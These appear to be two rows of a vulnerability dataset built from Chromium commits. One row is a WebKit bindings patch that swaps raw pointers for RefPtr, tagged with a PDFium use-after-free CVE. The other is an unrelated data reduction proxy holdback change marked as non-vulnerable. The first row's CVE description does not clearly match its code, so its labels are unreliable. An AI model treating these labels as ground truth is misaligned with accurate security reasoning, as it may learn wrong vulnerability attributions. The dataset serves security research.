{"sha": "b82e2fe8129793c21901e96095ad155dd4dbb51e", "filename": "third_party/WebKit/Source/bindings/templates/attributes.cpp", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f85a87ec670ad0fce9d98d90c9a705b72a288154/third_party/WebKit/Source/bindings/templates/attributes.cpp", "raw_url": "https://github.com/chromium/chromium/raw/f85a87ec670ad0fce9d98d90c9a705b72a288154/third_party/WebKit/Source/bindings/templates/attributes.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/bindings/templates/attributes.cpp?ref=f85a87ec670ad0fce9d98d90c9a705b72a288154", "patch": "@@ -232,7 +232,7 @@ v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info\n {% endif %}\n {% if attribute.put_forwards %}\n {{cpp_class}}* proxyImp = {{v8_class}}::toNative(info.Holder());\n- {{attribute.idl_type}}* imp = WTF::getPtr(proxyImp->{{attribute.name}}());\n+ RefPtr<{{attribute.idl_type}}> imp = WTF::getPtr(proxyImp->{{attribute.name}}());\n if (!imp)\n return;\n {% elif not attribute.is_static %}"}<_**next**_>{"sha": "16056ed5c3981fa1566ae110f2109f4c9cf577ff", "filename": "third_party/WebKit/Source/bindings/tests/results/V8TestObject.cpp", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/f85a87ec670ad0fce9d98d90c9a705b72a288154/third_party/WebKit/Source/bindings/tests/results/V8TestObject.cpp", "raw_url": "https://github.com/chromium/chromium/raw/f85a87ec670ad0fce9d98d90c9a705b72a288154/third_party/WebKit/Source/bindings/tests/results/V8TestObject.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/bindings/tests/results/V8TestObject.cpp?ref=f85a87ec670ad0fce9d98d90c9a705b72a288154", "patch": "@@ -3121,7 +3121,7 @@ static void locationAttributeGetterCallback(v8::Local<v8::String>, const v8::Pro\n static void locationAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)\n {\n TestObject* proxyImp = V8TestObject::toNative(info.Holder());\n- TestNode* imp = WTF::getPtr(proxyImp->location());\n+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->location());\n if (!imp)\n return;\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);\n@@ -3151,7 +3151,7 @@ static void locationWithExceptionAttributeGetterCallback(v8::Local<v8::String>,\n static void locationWithExceptionAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)\n {\n TestObject* proxyImp = V8TestObject::toNative(info.Holder());\n- TestNode* imp = WTF::getPtr(proxyImp->locationWithException());\n+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithException());\n if (!imp)\n return;\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);"}<_**next**_>{"sha": "a093e85008cdf61b17c5b254d889999e398547c8", "filename": "third_party/WebKit/Source/bindings/tests/results/V8TestObjectPython.cpp", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/f85a87ec670ad0fce9d98d90c9a705b72a288154/third_party/WebKit/Source/bindings/tests/results/V8TestObjectPython.cpp", "raw_url": "https://github.com/chromium/chromium/raw/f85a87ec670ad0fce9d98d90c9a705b72a288154/third_party/WebKit/Source/bindings/tests/results/V8TestObjectPython.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/bindings/tests/results/V8TestObjectPython.cpp?ref=f85a87ec670ad0fce9d98d90c9a705b72a288154", "patch": "@@ -2525,7 +2525,7 @@ static void locationAttributeGetterCallback(v8::Local<v8::String>, const v8::Pro\n static void locationAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)\n {\n TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());\n- TestNode* imp = WTF::getPtr(proxyImp->location());\n+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->location());\n if (!imp)\n return;\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);\n@@ -2555,7 +2555,7 @@ static void locationWithExceptionAttributeGetterCallback(v8::Local<v8::String>,\n static void locationWithExceptionAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)\n {\n TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());\n- TestNode* imp = WTF::getPtr(proxyImp->locationWithException());\n+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithException());\n if (!imp)\n return;\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);\n@@ -2585,7 +2585,7 @@ static void locationWithCallWithAttributeGetterCallback(v8::Local<v8::String>, c\n static void locationWithCallWithAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)\n {\n TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());\n- TestNode* imp = WTF::getPtr(proxyImp->locationWithCallWith());\n+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithCallWith());\n if (!imp)\n return;\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);\n@@ -2615,7 +2615,7 @@ static void locationWithPerWorldBindingsAttributeGetterCallback(v8::Local<v8::St\n static void locationWithPerWorldBindingsAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)\n {\n TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());\n- TestNode* imp = WTF::getPtr(proxyImp->locationWithPerWorldBindings());\n+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithPerWorldBindings());\n if (!imp)\n return;\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);\n@@ -2645,7 +2645,7 @@ static void locationWithPerWorldBindingsAttributeGetterCallbackForMainWorld(v8::\n static void locationWithPerWorldBindingsAttributeSetterForMainWorld(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)\n {\n TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());\n- TestNode* imp = WTF::getPtr(proxyImp->locationWithPerWorldBindings());\n+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithPerWorldBindings());\n if (!imp)\n return;\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);\n@@ -3460,7 +3460,7 @@ static void locationReplaceableAttributeGetterCallback(v8::Local<v8::String>, co\n static void locationReplaceableAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)\n {\n TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());\n- TestNode* imp = WTF::getPtr(proxyImp->locationReplaceable());\n+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationReplaceable());\n if (!imp)\n return;\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);"}
|
static void voidMethodSequenceTestInterfaceWillBeGarbageCollectedArgMethodCallback(const v8::FunctionCallbackInfo<v8::Value>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMMethod");
TestObjectPythonV8Internal::voidMethodSequenceTestInterfaceWillBeGarbageCollectedArgMethod(info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
|
static void voidMethodSequenceTestInterfaceWillBeGarbageCollectedArgMethodCallback(const v8::FunctionCallbackInfo<v8::Value>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMMethod");
TestObjectPythonV8Internal::voidMethodSequenceTestInterfaceWillBeGarbageCollectedArgMethod(info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
|
C
| null | null | null |
@@ -2525,7 +2525,7 @@ static void locationAttributeGetterCallback(v8::Local<v8::String>, const v8::Pro
static void locationAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());
- TestNode* imp = WTF::getPtr(proxyImp->location());
+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->location());
if (!imp)
return;
V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);
@@ -2555,7 +2555,7 @@ static void locationWithExceptionAttributeGetterCallback(v8::Local<v8::String>,
static void locationWithExceptionAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());
- TestNode* imp = WTF::getPtr(proxyImp->locationWithException());
+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithException());
if (!imp)
return;
V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);
@@ -2585,7 +2585,7 @@ static void locationWithCallWithAttributeGetterCallback(v8::Local<v8::String>, c
static void locationWithCallWithAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());
- TestNode* imp = WTF::getPtr(proxyImp->locationWithCallWith());
+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithCallWith());
if (!imp)
return;
V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);
@@ -2615,7 +2615,7 @@ static void locationWithPerWorldBindingsAttributeGetterCallback(v8::Local<v8::St
static void locationWithPerWorldBindingsAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());
- TestNode* imp = WTF::getPtr(proxyImp->locationWithPerWorldBindings());
+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithPerWorldBindings());
if (!imp)
return;
V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);
@@ -2645,7 +2645,7 @@ static void locationWithPerWorldBindingsAttributeGetterCallbackForMainWorld(v8::
static void locationWithPerWorldBindingsAttributeSetterForMainWorld(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());
- TestNode* imp = WTF::getPtr(proxyImp->locationWithPerWorldBindings());
+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationWithPerWorldBindings());
if (!imp)
return;
V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);
@@ -3460,7 +3460,7 @@ static void locationReplaceableAttributeGetterCallback(v8::Local<v8::String>, co
static void locationReplaceableAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TestObjectPython* proxyImp = V8TestObjectPython::toNative(info.Holder());
- TestNode* imp = WTF::getPtr(proxyImp->locationReplaceable());
+ RefPtr<TestNode> imp = WTF::getPtr(proxyImp->locationReplaceable());
if (!imp)
return;
V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue);
|
Chrome
|
f85a87ec670ad0fce9d98d90c9a705b72a288154
|
2c217b1d3f3f95e579481976d73e07ab4c77752c
| 0
|
static void voidMethodSequenceTestInterfaceWillBeGarbageCollectedArgMethodCallback(const v8::FunctionCallbackInfo<v8::Value>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMMethod");
TestObjectPythonV8Internal::voidMethodSequenceTestInterfaceWillBeGarbageCollectedArgMethod(info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
|
150,530
| null |
Remote
|
Not required
|
Partial
|
CVE-2017-5039
|
https://www.cvedetails.com/cve/CVE-2017-5039/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2017-04-24
| 6.8
|
A use after free in PDFium in Google Chrome prior to 57.0.2987.98 for Mac, Windows, and Linux and 57.0.2987.108 for Android allowed a remote attacker to potentially exploit heap corruption via a crafted PDF file.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/69b4b9ef7455753b12c3efe4eec71647e6fb1da1
|
69b4b9ef7455753b12c3efe4eec71647e6fb1da1
|
Disable all DRP URL fetches when holdback is enabled
Disable secure proxy checker, warmup url fetcher
and client config fetch when the client is in DRP
(Data Reduction Proxy) holdback.
This CL does not disable pingbacks when client is in the
holdback, but the pingback code is going away soon.
Change-Id: Icbb59d814d1452123869c609e0770d1439c1db51
Bug: 984964
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1709965
Commit-Queue: Tarun Bansal <tbansal@chromium.org>
Reviewed-by: Robert Ogden <robertogden@chromium.org>
Cr-Commit-Position: refs/heads/master@{#679649}
| 0
|
chrome/browser/data_reduction_proxy/data_reduction_proxy_browsertest.cc
|
{"sha": "fdc1c6c414773f8641baee34643ae28137cae498", "filename": "chrome/browser/data_reduction_proxy/data_reduction_proxy_browsertest.cc", "status": "modified", "additions": 23, "deletions": 2, "changes": 25, "blob_url": "https://github.com/chromium/chromium/blob/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/chrome/browser/data_reduction_proxy/data_reduction_proxy_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/chrome/browser/data_reduction_proxy/data_reduction_proxy_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/data_reduction_proxy/data_reduction_proxy_browsertest.cc?ref=69b4b9ef7455753b12c3efe4eec71647e6fb1da1", "patch": "@@ -292,7 +292,12 @@ class DataReductionProxyBrowsertestBase : public InProcessBrowserTest {\n config_ = config;\n }\n \n- void WaitForConfig() { config_run_loop_->Run(); }\n+ void WaitForConfig() {\n+ // Config is not fetched in the holdback group. So, return early.\n+ if (data_reduction_proxy::params::IsIncludedInHoldbackFieldTrial())\n+ return;\n+ config_run_loop_->Run();\n+ }\n \n std::string expect_exp_value_in_request_header_;\n \n@@ -303,6 +308,10 @@ class DataReductionProxyBrowsertestBase : public InProcessBrowserTest {\n private:\n std::unique_ptr<net::test_server::HttpResponse> GetConfigResponse(\n const net::test_server::HttpRequest& request) {\n+ // Config should not be fetched when in holdback.\n+ EXPECT_FALSE(\n+ data_reduction_proxy::params::IsIncludedInHoldbackFieldTrial());\n+\n auto response = std::make_unique<net::test_server::BasicHttpResponse>();\n response->set_content(config_.SerializeAsString());\n response->set_content_type(\"text/plain\");\n@@ -638,12 +647,17 @@ IN_PROC_BROWSER_TEST_F(DataReductionProxyBrowsertest, UMAMetricsRecorded) {\n }\n \n // Test that enabling the holdback disables the proxy.\n+// Parameter is true if the data reduction proxy holdback should be enabled.\n class DataReductionProxyWithHoldbackBrowsertest\n : public ::testing::WithParamInterface<bool>,\n public DataReductionProxyBrowsertest {\n public:\n+ DataReductionProxyWithHoldbackBrowsertest()\n+ : DataReductionProxyBrowsertest(),\n+ data_reduction_proxy_holdback_enabled_(GetParam()) {}\n+\n void SetUp() override {\n- if (GetParam()) {\n+ if (data_reduction_proxy_holdback_enabled_) {\n scoped_feature_list_.InitWithFeatures(\n {features::kDataReductionProxyEnabledWithNetworkService,\n data_reduction_proxy::features::kDataReductionProxyHoldback},\n@@ -656,6 +670,8 @@ class DataReductionProxyWithHoldbackBrowsertest\n InProcessBrowserTest::SetUp();\n }\n \n+ const bool data_reduction_proxy_holdback_enabled_;\n+\n private:\n base::test::ScopedFeatureList scoped_feature_list_;\n };\n@@ -673,8 +689,13 @@ IN_PROC_BROWSER_TEST_P(DataReductionProxyWithHoldbackBrowsertest,\n SetConfig(CreateConfigForServer(proxy_server));\n // A network change forces the config to be fetched.\n SimulateNetworkChange(network::mojom::ConnectionType::CONNECTION_3G);\n+\n WaitForConfig();\n \n+ // Load a webpage in holdback group as well. This ensures that while in\n+ // holdback group, Chrome does not fetch the client config. If Chrome were to\n+ // fetch the client config, the DHCECKs and other conditionals that check that\n+ // holdback is not enabled would trigger and cause the test to fail.\n ui_test_utils::NavigateToURL(browser(), GURL(\"http://does.not.resolve/foo\"));\n \n if (GetParam()) {"}<_**next**_>{"sha": "0121a89fab685865864d32d94fa9e075228cf6ab", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_config.cc", "status": "modified", "additions": 20, "deletions": 10, "changes": 30, "blob_url": "https://github.com/chromium/chromium/blob/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.cc", "raw_url": "https://github.com/chromium/chromium/raw/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.cc?ref=69b4b9ef7455753b12c3efe4eec71647e6fb1da1", "patch": "@@ -42,7 +42,6 @@\n #include \"net/base/proxy_server.h\"\n #include \"net/nqe/effective_connection_type.h\"\n #include \"net/proxy_resolution/proxy_resolution_service.h\"\n-#include \"net/traffic_annotation/network_traffic_annotation.h\"\n #include \"services/network/public/cpp/shared_url_loader_factory.h\"\n \n #if defined(OS_ANDROID)\n@@ -215,15 +214,17 @@ void DataReductionProxyConfig::InitializeOnIOThread(\n network_properties_manager_ = manager;\n network_properties_manager_->ResetWarmupURLFetchMetrics();\n \n- secure_proxy_checker_.reset(new SecureProxyChecker(url_loader_factory));\n- warmup_url_fetcher_.reset(new WarmupURLFetcher(\n- create_custom_proxy_config_callback,\n- base::BindRepeating(\n- &DataReductionProxyConfig::HandleWarmupFetcherResponse,\n- base::Unretained(this)),\n- base::BindRepeating(&DataReductionProxyConfig::GetHttpRttEstimate,\n- base::Unretained(this)),\n- ui_task_runner_, user_agent));\n+ if (!params::IsIncludedInHoldbackFieldTrial()) {\n+ secure_proxy_checker_.reset(new SecureProxyChecker(url_loader_factory));\n+ warmup_url_fetcher_.reset(new WarmupURLFetcher(\n+ create_custom_proxy_config_callback,\n+ base::BindRepeating(\n+ &DataReductionProxyConfig::HandleWarmupFetcherResponse,\n+ base::Unretained(this)),\n+ base::BindRepeating(&DataReductionProxyConfig::GetHttpRttEstimate,\n+ base::Unretained(this)),\n+ ui_task_runner_, user_agent));\n+ }\n \n AddDefaultProxyBypassRules();\n \n@@ -647,12 +648,18 @@ void DataReductionProxyConfig::AddDefaultProxyBypassRules() {\n \n void DataReductionProxyConfig::SecureProxyCheck(\n SecureProxyCheckerCallback fetcher_callback) {\n+ if (params::IsIncludedInHoldbackFieldTrial())\n+ return;\n+\n secure_proxy_checker_->CheckIfSecureProxyIsAllowed(fetcher_callback);\n }\n \n void DataReductionProxyConfig::FetchWarmupProbeURL() {\n DCHECK(thread_checker_.CalledOnValidThread());\n \n+ if (params::IsIncludedInHoldbackFieldTrial())\n+ return;\n+\n if (!enabled_by_user_) {\n RecordWarmupURLFetchAttemptEvent(\n WarmupURLFetchAttemptEvent::kProxyNotEnabledByUser);\n@@ -753,6 +760,9 @@ DataReductionProxyConfig::GetNetworkPropertiesManager() const {\n \n bool DataReductionProxyConfig::IsFetchInFlight() const {\n DCHECK(thread_checker_.CalledOnValidThread());\n+\n+ if (!warmup_url_fetcher_)\n+ return false;\n return warmup_url_fetcher_->IsFetchInFlight();\n }\n "}<_**next**_>{"sha": "9eb9c8281476322eaed1e4d5ee7b54f619b3392d", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_config.h", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.h", "raw_url": "https://github.com/chromium/chromium/raw/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.h?ref=69b4b9ef7455753b12c3efe4eec71647e6fb1da1", "patch": "@@ -273,10 +273,10 @@ class DataReductionProxyConfig\n // Fetches the warmup URL.\n void FetchWarmupProbeURL();\n \n- // URL fetcher used for performing the secure proxy check.\n+ // URL fetcher used for performing the secure proxy check. May be null.\n std::unique_ptr<SecureProxyChecker> secure_proxy_checker_;\n \n- // URL fetcher used for fetching the warmup URL.\n+ // URL fetcher used for fetching the warmup URL. May be null.\n std::unique_ptr<WarmupURLFetcher> warmup_url_fetcher_;\n \n bool unreachable_;"}<_**next**_>{"sha": "d72f5dabf1d3448b46267a670c8d6767857a476b", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_config_service_client.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_config_service_client.cc", "raw_url": "https://github.com/chromium/chromium/raw/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_config_service_client.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_config_service_client.cc?ref=69b4b9ef7455753b12c3efe4eec71647e6fb1da1", "patch": "@@ -178,6 +178,7 @@ DataReductionProxyConfigServiceClient::DataReductionProxyConfigServiceClient(\n DCHECK(config);\n DCHECK(io_data);\n DCHECK(config_service_url_.is_valid());\n+ DCHECK(!params::IsIncludedInHoldbackFieldTrial());\n \n const base::CommandLine& command_line =\n *base::CommandLine::ForCurrentProcess();\n@@ -414,6 +415,8 @@ void DataReductionProxyConfigServiceClient::OnURLLoadComplete(\n \n void DataReductionProxyConfigServiceClient::RetrieveRemoteConfig() {\n DCHECK(thread_checker_.CalledOnValidThread());\n+ DCHECK(!params::IsIncludedInHoldbackFieldTrial());\n+\n CreateClientConfigRequest request;\n std::string serialized_request;\n #if defined(OS_ANDROID)"}<_**next**_>{"sha": "5984d33fb055d1617cd00d60e2b459230282da2b", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.cc", "status": "modified", "additions": 7, "deletions": 5, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.cc", "raw_url": "https://github.com/chromium/chromium/raw/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.cc?ref=69b4b9ef7455753b12c3efe4eec71647e6fb1da1", "patch": "@@ -74,11 +74,13 @@ DataReductionProxyIOData::DataReductionProxyIOData(\n // It is safe to use base::Unretained here, since it gets executed\n // synchronously on the IO thread, and |this| outlives the caller (since the\n // caller is owned by |this|.\n- config_client_.reset(new DataReductionProxyConfigServiceClient(\n- GetBackoffPolicy(), request_options_.get(), raw_mutable_config,\n- config_.get(), this, network_connection_tracker_,\n- base::BindRepeating(&DataReductionProxyIOData::StoreSerializedConfig,\n- base::Unretained(this))));\n+ if (!params::IsIncludedInHoldbackFieldTrial()) {\n+ config_client_.reset(new DataReductionProxyConfigServiceClient(\n+ GetBackoffPolicy(), request_options_.get(), raw_mutable_config,\n+ config_.get(), this, network_connection_tracker_,\n+ base::BindRepeating(&DataReductionProxyIOData::StoreSerializedConfig,\n+ base::Unretained(this))));\n+ }\n \n network_properties_manager_.reset(new NetworkPropertiesManager(\n base::DefaultClock::GetInstance(), prefs, ui_task_runner_));"}<_**next**_>{"sha": "303561753556e33ebaf9a46fa9cefccf051a62b8", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.h", "raw_url": "https://github.com/chromium/chromium/raw/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.h?ref=69b4b9ef7455753b12c3efe4eec71647e6fb1da1", "patch": "@@ -230,6 +230,7 @@ class DataReductionProxyIOData : public mojom::DataReductionProxy {\n std::unique_ptr<DataReductionProxyRequestOptions> request_options_;\n \n // Requests new Data Reduction Proxy configurations from a remote service.\n+ // May be null.\n std::unique_ptr<DataReductionProxyConfigServiceClient> config_client_;\n \n // Watches for network connection changes."}<_**next**_>{"sha": "a62ccfe6a27833ccbcd6487b2fdb88d100f3cb88", "filename": "components/data_reduction_proxy/core/browser/secure_proxy_checker.cc", "status": "modified", "additions": 5, "deletions": 1, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/secure_proxy_checker.cc", "raw_url": "https://github.com/chromium/chromium/raw/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/secure_proxy_checker.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/secure_proxy_checker.cc?ref=69b4b9ef7455753b12c3efe4eec71647e6fb1da1", "patch": "@@ -24,7 +24,9 @@ namespace data_reduction_proxy {\n \n SecureProxyChecker::SecureProxyChecker(\n scoped_refptr<network::SharedURLLoaderFactory> url_loader_factory)\n- : url_loader_factory_(std::move(url_loader_factory)) {}\n+ : url_loader_factory_(std::move(url_loader_factory)) {\n+ DCHECK(!params::IsIncludedInHoldbackFieldTrial());\n+}\n \n void SecureProxyChecker::OnURLLoadComplete(\n std::unique_ptr<std::string> response_body) {\n@@ -65,6 +67,8 @@ void SecureProxyChecker::OnURLLoaderRedirect(\n \n void SecureProxyChecker::CheckIfSecureProxyIsAllowed(\n SecureProxyCheckerCallback fetcher_callback) {\n+ DCHECK(!params::IsIncludedInHoldbackFieldTrial());\n+\n net::NetworkTrafficAnnotationTag traffic_annotation =\n net::DefineNetworkTrafficAnnotation(\n \"data_reduction_proxy_secure_proxy_check\", R\"("}<_**next**_>{"sha": "51338fce8b7244131d59c35599588720189de6ee", "filename": "components/data_reduction_proxy/core/browser/warmup_url_fetcher.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/warmup_url_fetcher.cc", "raw_url": "https://github.com/chromium/chromium/raw/69b4b9ef7455753b12c3efe4eec71647e6fb1da1/components/data_reduction_proxy/core/browser/warmup_url_fetcher.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/warmup_url_fetcher.cc?ref=69b4b9ef7455753b12c3efe4eec71647e6fb1da1", "patch": "@@ -56,6 +56,7 @@ WarmupURLFetcher::WarmupURLFetcher(\n user_agent_(user_agent),\n ui_task_runner_(ui_task_runner) {\n DCHECK(create_custom_proxy_config_callback);\n+ DCHECK(!params::IsIncludedInHoldbackFieldTrial());\n }\n \n WarmupURLFetcher::~WarmupURLFetcher() {}\n@@ -64,6 +65,7 @@ void WarmupURLFetcher::FetchWarmupURL(\n size_t previous_attempt_counts,\n const DataReductionProxyServer& proxy_server) {\n DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n+ DCHECK(!params::IsIncludedInHoldbackFieldTrial());\n \n previous_attempt_counts_ = previous_attempt_counts;\n \n@@ -97,6 +99,7 @@ base::TimeDelta WarmupURLFetcher::GetFetchWaitTime() const {\n void WarmupURLFetcher::FetchWarmupURLNow(\n const DataReductionProxyServer& proxy_server) {\n DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n+ DCHECK(!params::IsIncludedInHoldbackFieldTrial());\n \n UMA_HISTOGRAM_EXACT_LINEAR(\"DataReductionProxy.WarmupURL.FetchInitiated\", 1,\n 2);"}
|
void SetResponseHook(ResponseHook response_hook) {
base::AutoLock auto_lock(lock_);
response_hook_ = response_hook;
}
|
void SetResponseHook(ResponseHook response_hook) {
base::AutoLock auto_lock(lock_);
response_hook_ = response_hook;
}
|
C
| null | null | null |
@@ -292,7 +292,12 @@ class DataReductionProxyBrowsertestBase : public InProcessBrowserTest {
config_ = config;
}
- void WaitForConfig() { config_run_loop_->Run(); }
+ void WaitForConfig() {
+ // Config is not fetched in the holdback group. So, return early.
+ if (data_reduction_proxy::params::IsIncludedInHoldbackFieldTrial())
+ return;
+ config_run_loop_->Run();
+ }
std::string expect_exp_value_in_request_header_;
@@ -303,6 +308,10 @@ class DataReductionProxyBrowsertestBase : public InProcessBrowserTest {
private:
std::unique_ptr<net::test_server::HttpResponse> GetConfigResponse(
const net::test_server::HttpRequest& request) {
+ // Config should not be fetched when in holdback.
+ EXPECT_FALSE(
+ data_reduction_proxy::params::IsIncludedInHoldbackFieldTrial());
+
auto response = std::make_unique<net::test_server::BasicHttpResponse>();
response->set_content(config_.SerializeAsString());
response->set_content_type("text/plain");
@@ -638,12 +647,17 @@ IN_PROC_BROWSER_TEST_F(DataReductionProxyBrowsertest, UMAMetricsRecorded) {
}
// Test that enabling the holdback disables the proxy.
+// Parameter is true if the data reduction proxy holdback should be enabled.
